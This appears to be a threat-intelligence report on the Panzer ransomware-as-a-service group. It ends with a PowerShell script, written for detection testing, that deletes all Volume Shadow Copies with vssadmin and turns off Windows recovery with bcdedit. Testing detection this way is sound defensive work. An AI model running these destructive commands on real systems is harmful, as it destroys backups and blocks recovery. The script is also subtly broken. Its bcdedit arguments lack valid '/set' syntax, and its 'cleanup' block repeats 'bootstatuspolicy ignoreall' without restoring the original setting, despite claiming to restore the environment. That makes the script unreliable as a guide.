Panzer ransomware: a new RaaS hits Italian manufacturers and telecom providers

Summary

Panzer is a newly emerged Ransomware-as-a-Service (RaaS) operation first observed in August 2026. The group operates a mature affiliate platform and supports attacks across Windows, Linux, ESXi, and FreeBSD environments. Panzer follows a double-extortion model, prioritizing data exfiltration before encrypting systems to increase pressure on victims.

Investigation

The report examines Panzer’s rapid emergence, its sophisticated affiliate dashboard, and its targeting of Italian manufacturing and telecommunications organizations. Researchers also identified automated screening mechanisms intended to detect analysts and noted support for VMware ESXi environments. With no verified malware samples or network IOCs publicly available, behavioral detection remains particularly important.

Mitigation

Organizations should implement phishing-resistant MFA, enforce least-privilege access, and maintain strong network segmentation, especially around hypervisor management interfaces. Immutable and offline backups are critical for reducing the impact of ransomware encryption. DLP controls should also be deployed to identify and block suspicious large-scale data exfiltration.

Response

If potential Panzer activity is detected, including shadow copy deletion or unusual RMM tool execution, affected hosts should be isolated immediately. Security teams should investigate suspicious VPN authentications and unauthorized service account creation. Incident response plans should address both data restoration requirements and regulatory obligations related to breaches under GDPR and NIS2.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: An adversary has gained initial access and is preparing for the encryption phase of a ransomware attack. To maximize impact and prevent recovery, the attacker intends to disable the Windows recovery environment and delete all existing Volume Shadow Copies. The attacker will use vssadmin.exe to target the shadow copies and bcdedit.exe to ensure the boot configuration does not allow for easy recovery. These actions are “noisy” but effective against unhardened systems.

• Regression Test Script:

  # Simulation Script: Ransomware Shadow Copy Deletion
  # Note: This script must be run as Administrator to succeed.
  
  Write-Host "[!] Starting Simulation: Shadow Copy Deletion" -ForegroundColor Yellow
  
  # 1. Simulate VSSAdmin Shadow Copy Deletion
  Write-Host "[+] Executing vssadmin command..." -ForegroundColor Cyan
  Start-Process "vssadmin.exe" -ArgumentList "delete shadows /all /quiet" -Wait -WindowStyle Hidden
  
  # 2. Simulate BCDedit Recovery Disabling
  Write-Host "[+] Executing bcdedit commands..." -ForegroundColor Cyan
  # Note: This may fail if Secure Boot is enabled, but the process execution itself will still be logged.
  Start-Process "bcdedit.exe" -ArgumentList "recoveryenabled no" -Wait -WindowStyle Hidden
  Start-Process "bcdedit.exe" -ArgumentList "bootstatuspolicy ignoreall" -Wait -WindowStyle Hidden
  
  Write-Host "[!] Simulation Complete. Check SIEM for alerts." -ForegroundColor Green

• Cleanup Commands:

  # Cleanup: Re-enabling recovery settings (if the simulation succeeded)
  Write-Host "[!] Cleaning up environment..." -ForegroundColor Cyan
  Start-Process "bcdedit.exe" -ArgumentList "recoveryenabled yes" -Wait -WindowStyle Hidden
  Start-Process "bcdedit.exe" -ArgumentList "bootstatuspolicy ignoreall" -Wait -WindowStyle Hidden
  Write-Host "[!] Cleanup complete." -ForegroundColor Green